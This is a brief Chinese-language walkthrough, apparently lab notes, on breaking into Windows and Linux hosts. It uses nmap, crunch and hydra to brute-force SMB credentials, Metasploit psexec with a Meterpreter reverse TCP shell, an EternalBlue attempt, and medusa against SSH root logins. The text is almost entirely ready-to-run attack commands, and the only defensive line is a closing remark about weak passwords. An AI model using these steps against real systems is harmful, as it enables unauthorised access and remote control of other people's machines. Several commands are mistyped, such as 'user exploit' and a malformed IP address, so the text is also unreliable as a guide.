爆破445端口和22端口拿shell

工具hydua、nmap
使用nmap扫描是否开启smb服务即445端口

nmap -O 172.168.172.131

发现开启，制作字典passwd.txt

crunch 1 4 1234 -o passwd .txt

hydra -l hack -P passwd.txt smb://172.168.172.131 -f -vV

密码爆破成功

启动msf

使用模块：

user exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_tcp

show options

set rhost 172.168172.131
set smb pass 123
set smbuser hack
set lhost 172.168.172.15

使用exploit(windows/smb/ms17_010_eternalblue)攻击win2008等都是把他们打重启，醉了。

ssh爆破

medusa -M ssh -h 172.168.172.139 -u root -P passwd.dic

所以最好别设置太简单的密码